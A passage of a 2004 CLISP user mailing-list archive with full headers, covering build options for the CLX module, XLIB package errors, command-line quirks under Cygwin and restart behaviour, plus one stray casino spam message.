SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 28 10:23:01 2004 X-Original-Date: Mon, 28 Jun 2004 10:08:43 -0700 (PDT) --- Sam Steingold wrote: > > * Elvin Peterson > [2004-06-28 05:59:32 -0700]: > > > >> The problem is not with large lists, but with > deep stacks. The > >> interpreter uses more stack space than compiled > functions. > > > > How much stack space is allocated? > > . Sorry about that. This mentioned in the manpage, but I unfortunately stopped reading after the "dynamically allocated" part. > > >> Rather use an iterative version: > > > > That is much better than what I posted, but from > what I have read in > > books about Lisp, iterative programming should be > avoided by new users > > because of all the side effects. However, the > code for reversing a > > list seems to be an idiom. > > the only things to avoid are brittle code and > inefficient algorithms. Of course, the question is how one goes about doing that. :-( Thanks for all the help. __________________________________ Do you Yahoo!? Yahoo! Mail is new and improved - Check it out! http://promotions.yahoo.com/new_mail From kanvas75@web.de Tue Jun 29 01:38:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BfE85-0005Ib-1j for clisp-list@lists.sourceforge.net; Tue, 29 Jun 2004 01:38:13 -0700 Received: from smtp05.web.de ([217.72.192.209]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.34) id 1BfE84-0006Wf-Kp for clisp-list@lists.sourceforge.net; Tue, 29 Jun 2004 01:38:12 -0700 Received: from [80.143.32.98] (helo=bafomet.wohnheim.wg) by smtp05.web.de with asmtp (WEB.DE 4.101 #38) id 1BfE7t-0002J0-00 for clisp-list@lists.sourceforge.net; Tue, 29 Jun 2004 10:38:01 +0200 From: Fabian Boucsein To: clisp-list@lists.sourceforge.net Message-Id: <20040629104549.7ef826dc.kanvas75@web.de> X-Mailer: Sylpheed version 0.8.3 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] clx problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 29 01:39:01 2004 X-Original-Date: Tue, 29 Jun 2004 10:45:49 +0200 Hi, i just used that configure option: --with-module=mit-clx but get the error: module mit-clx not found. The mit-clx is in an module subdirectory named clx. Maybe thats the reason why. But how can i solve that problem? Is that the wrong option i used? Fabian From hin@van-halen.alma.com Tue Jun 29 03:03:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BfFSp-0002hH-5W for clisp-list@lists.sourceforge.net; Tue, 29 Jun 2004 03:03:43 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BfFSo-0002KE-SY for clisp-list@lists.sourceforge.net; Tue, 29 Jun 2004 03:03:43 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 5421310DE2B; Tue, 29 Jun 2004 06:03:38 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i5TA3YCv015715; Tue, 29 Jun 2004 06:03:34 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i5TA3YG4015712; Tue, 29 Jun 2004 06:03:34 -0400 Message-Id: <200406291003.i5TA3YG4015712@van-halen.alma.com> From: "John K. Hinsdale" To: kanvas75@web.de Cc: clisp-list@lists.sourceforge.net In-reply-to: <20040629104549.7ef826dc.kanvas75@web.de> (message from Fabian Boucsein on Tue, 29 Jun 2004 10:45:49 +0200) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: clx problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 29 03:04:06 2004 X-Original-Date: Tue, 29 Jun 2004 06:03:34 -0400 > i just used that configure option: --with-module=mit-clx > but get the error: module mit-clx not found. The mit-clx i believe the arg to --with-module needs to be the name of the directory relative to /modules ... so try: --with-module=clx/mit-clx --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From kanvas75@web.de Tue Jun 29 08:49:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BfKrD-00031o-4Y for clisp-list@lists.sourceforge.net; Tue, 29 Jun 2004 08:49:15 -0700 Received: from smtp08.web.de ([217.72.192.226]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.34) id 1BfKrC-0004jP-Oi for clisp-list@lists.sourceforge.net; Tue, 29 Jun 2004 08:49:15 -0700 Received: from [217.93.117.142] (helo=bafomet.wohnheim.wg) by smtp08.web.de with asmtp (WEB.DE 4.101 #38) id 1BfKr4-0008RD-00 for clisp-list@lists.sourceforge.net; Tue, 29 Jun 2004 17:49:07 +0200 From: Fabian Boucsein To: clisp-list@lists.sourceforge.net Message-Id: <20040629175656.679e437e.kanvas75@web.de> X-Mailer: Sylpheed version 0.8.3 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Again a clx problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 29 08:50:02 2004 X-Original-Date: Tue, 29 Jun 2004 17:56:56 +0200 Hello, after configuring my clisp with the option: --with-module=clx/mit-clx it compiles successfully. So far it is ok. But when trying some examples i get the error: No package xlib. Is that another foreign module? The module directory lists nothing like xlib. Fabian From pascal@informatimago.com Tue Jun 29 09:43:47 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BfLhz-000721-Eq for clisp-list@lists.sourceforge.net; Tue, 29 Jun 2004 09:43:47 -0700 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BfLhw-0006mG-CW for clisp-list@lists.sourceforge.net; Tue, 29 Jun 2004 09:43:47 -0700 Received: from thalassa.informatimago.com (unknown [195.114.85.198]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C4E1F586E3; Tue, 29 Jun 2004 18:43:27 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 10D60FF02; Tue, 29 Jun 2004 18:46:34 +0200 (CEST) Message-ID: <16609.40170.11112.69382@thalassa.informatimago.com> To: Fabian Boucsein Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Again a clx problem In-Reply-To: <20040629175656.679e437e.kanvas75@web.de> References: <20040629175656.679e437e.kanvas75@web.de> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 29 09:44:02 2004 X-Original-Date: Tue, 29 Jun 2004 18:46:33 +0200 Fabian Boucsein writes: > Hello, > > after configuring my clisp with the option: --with-module=clx/mit-clx > it compiles successfully. So far it is ok. But when trying some > examples i get the error: No package xlib. Is that another foreign > module? The module directory lists nothing like xlib. Did you load this linkset? Try: clisp -ansi -K full -x '(print *features*)' -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From sds@gnu.org Tue Jun 29 10:05:43 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BfM3D-0000Xd-R0 for clisp-list@lists.sourceforge.net; Tue, 29 Jun 2004 10:05:43 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BfM3D-0005iv-AG for clisp-list@lists.sourceforge.net; Tue, 29 Jun 2004 10:05:43 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5TH5VVh004739; Tue, 29 Jun 2004 13:05:32 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Fabian Boucsein Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040629175656.679e437e.kanvas75@web.de> (Fabian Boucsein's message of "Tue, 29 Jun 2004 17:56:56 +0200") References: <20040629175656.679e437e.kanvas75@web.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Fabian Boucsein Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Subject: [clisp-list] Re: Again a clx problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 29 10:06:10 2004 X-Original-Date: Tue, 29 Jun 2004 13:05:31 -0400 > * Fabian Boucsein [2004-06-29 17:56:56 +0200]: > > after configuring my clisp with the option: --with-module=clx/mit-clx > it compiles successfully. So far it is ok. But when trying some > examples i get the error: No package xlib. Is that another foreign > module? The module directory lists nothing like xlib. XLIB is the traditional name of the package in which CLX resides. -- Sam Steingold (http://www.podval.org/~sds) running w2k A computer scientist is someone who fixes things that aren't broken. From r_swan_xl@tv.ee Tue Jun 29 19:22:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BfUkV-0003NH-Ig; Tue, 29 Jun 2004 19:22:59 -0700 Received: from adsl-70-240-9-68.dsl.austtx.swbell.net ([70.240.9.68] helo=hiwire.net.ph) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1BfUkV-0004p9-4o; Tue, 29 Jun 2004 19:22:59 -0700 Received: from 56.105.10.136 by smtp.tv.ee; Wed, 30 Jun 2004 02:27:32 +0000 Message-ID: <3d5f01c45e49$bfe2c16a$f85c9b45@hiwire.net.ph> From: "Rosella Swan" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 CLICK_BELOW Asks you to click below Subject: [clisp-list] Get $200 bonus at our Casino! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 29 19:23:03 2004 X-Original-Date: Wed, 30 Jun 2004 08:27:31 +0600 Hi, I have a special offer available for you at our casino. $20 to try our internet casino, no deposit is necessary! At the casino software's cashier enter bonus code: FR93P $200 bonus on your first deposit! At the casino software's cashier enter bonus code: FMJKU Allow us to show you our quality operation, fast payouts, generous bonuses, and super friendly around-the-clock customer support. Click here: http://gocasino-dollar.com Best regards, Jamie Zawinsky No thanks: http://gocasino-dollar.com/u From kanvas75@web.de Wed Jun 30 01:24:57 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BfaOn-0002wt-Al for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 01:24:57 -0700 Received: from smtp08.web.de ([217.72.192.226]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.34) id 1BfaOm-0008O9-TZ for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 01:24:57 -0700 Received: from [217.93.117.142] (helo=bafomet.wohnheim.wg) by smtp08.web.de with asmtp (WEB.DE 4.101 #38) id 1BfaOf-0006Um-00 for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 10:24:49 +0200 From: Fabian Boucsein To: clisp-list@lists.sourceforge.net Message-Id: <20040630103241.28a332ca.kanvas75@web.de> X-Mailer: Sylpheed version 0.8.3 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Exposure-EVENT-GET-MACRO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 30 01:25:01 2004 X-Original-Date: Wed, 30 Jun 2004 10:32:41 +0200 Hello, thanks for all the nice help i got here so far. While trying the hello.lisp example of the clx directory i get the following error: EXPOSURE-EVENT-GET-MACRO: symbol GET-CODE has no value Maybe something really easy but my lisp experience is not so great. Hopefully this will change in the near future. Fabian From lvaucher.ext@francetelecom.com Wed Jun 30 02:14:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BfbAm-0007wK-Fa for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 02:14:32 -0700 Received: from relais-inet.francetelecom.com ([212.234.67.6]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BfbAl-0001t5-QT for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 02:14:32 -0700 Received: from [193.248.188.3] by relais-filtrant-04.francetelecom.fr with ESMTP for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 11:14:13 +0200 Received: from fedft02a.francetelecom.fr by relais-filtrant-04.francetelecom.fr with ESMTP for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 11:14:13 +0200 Received: from puexcc31.nanterre.francetelecom.fr by fedft02a.francetelecom.fr with ESMTP for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 11:14:12 +0200 Received: from puexcb70.nanterre.francetelecom.fr ([10.168.74.27]) by puexcc31.nanterre.francetelecom.fr with Microsoft SMTPSVC(5.0.2195.5329); Wed, 30 Jun 2004 11:14:00 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.0.6556.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Message-Id: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [Cygwin] Command-line options: strange behaviour Thread-Index: AcRegJ5GBK1h1G0KTOa2XcTVLdjSaw== From: VAUCHER L Ext SIRES To: X-OriginalArrivalTime: 30 Jun 2004 09:14:00.0717 (UTC) FILETIME=[94B9A3D0:01C45E82] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] [Cygwin] Command-line options: strange behaviour Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 30 02:15:04 2004 X-Original-Date: Wed, 30 Jun 2004 11:14:00 +0200 Hi. I'm currently using the Cygwin package of clisp 2.33.1, and I think command line arguments are processed somewhat differently that what is advertised in the man (or with --help). My problem is with -i and the 'terminal' lisp-file argument. When I use only the terminal lisp-file argument, everything works as expected : the first line (#!/.../clisp) is not interpreted as lisp code, my RC file is not loaded, command- line arguments situated after the lisp-file name are available in ext:*args* and when the file is loaded, clisp terminates. Example: 'clisp toto.lisp 1 2 3' But as soon as I try using a -i initfile option in my command line, it does not work anymore as above : - the #! line in the lisp-file causes a read error, - my RC file is loaded prior to everything else, even the initfile, - no command-line arguments are available (ext:*args* is NIL), - worse, trailing command-line arguments are interpreted as lisp files to be loaded - and finally, clisp enters a REPL. Example: 'clisp -i initfile.lisp toto.lisp 1 2 3' There is no indication of incompatibility between -i options and the terminal lisp-file argument in the man, so I am a bit surprised. I also have a clisp distribution on Debian GNU/Linux but I have not tried the same experiment yet. Is it a bug? Is it an 'undocumented feature'? Is there some workaround available? I'd like to have answers to those questions but I want to thank all contributors to the clisp projet for their great work. Laurent. From mega@hotpop.com Wed Jun 30 05:30:06 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BfeE1-0007t0-SO for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 05:30:05 -0700 Received: from fwall.essnet.se ([212.209.198.194] helo=essnet.se) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BfeE1-0003og-6f for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 05:30:05 -0700 Received: by fwall.essnet.se id <336283>; Wed, 30 Jun 2004 14:29:56 +0200 From: Gabor Melis To: User-Agent: KMail/1.6.2 MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <04Jun30.142956cest.336283@fwall.essnet.se> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] continue and undefined function Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 30 05:31:08 2004 X-Original-Date: Wed, 30 Jun 2004 14:27:31 +0200 This code endlessly invokes the continue restart: (handler-bind ((error #'continue)) (foo)) I don't understand is why does undefined function have a continue restart? Clisp 2.33.2 on Debian/Sarge/i386. Gabor Melis From sds@gnu.org Wed Jun 30 06:40:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BffJv-0006uO-G8 for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 06:40:15 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BffJv-00029P-42 for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 06:40:15 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5UDe4JL029443; Wed, 30 Jun 2004 09:40:05 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Gabor Melis Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <04Jun30.142956cest.336283@fwall.essnet.se> (Gabor Melis's message of "Wed, 30 Jun 2004 14:27:31 +0200") References: <04Jun30.142956cest.336283@fwall.essnet.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Gabor Melis Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: continue and undefined function Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 30 06:41:02 2004 X-Original-Date: Wed, 30 Jun 2004 09:40:04 -0400 > * Gabor Melis [2004-06-30 14:27:31 +0200]: > > This code endlessly invokes the continue restart: > > (handler-bind ((error #'continue)) > (foo)) > > I don't understand is why does undefined function have a continue restart? the idea was that you would define the function at the debug prompt and proceed. this has now been replaced with the RETRY restart in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running w2k To understand recursion, one has to understand recursion first. From sds@gnu.org Wed Jun 30 06:47:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BffRO-0007cM-Sg for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 06:47:58 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BffRO-0005U3-9i for clisp-list@lists.sourceforge.net; Wed, 30 Jun 2004 06:47:58 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5UDljJL001328; Wed, 30 Jun 2004 09:47:45 -0400 (EDT) To: clisp-list@lists.sourceforge.net, VAUCHER L Ext SIRES Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (VAUCHER L. Ext SIRES's message of "Wed, 30 Jun 2004 11:14:00 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, VAUCHER L Ext SIRES Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: [Cygwin] Command-line options: strange behaviour Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 30 06:48:14 2004 X-Original-Date: Wed, 30 Jun 2004 09:47:45 -0400 > * VAUCHER L Ext SIRES [2004-06-30 11:14:00 +0200]: > > My problem is with -i and the 'terminal' lisp-file argument. > > When I use only the terminal lisp-file argument, everything > works as expected : the first line (#!/.../clisp) is not > interpreted as lisp code, my 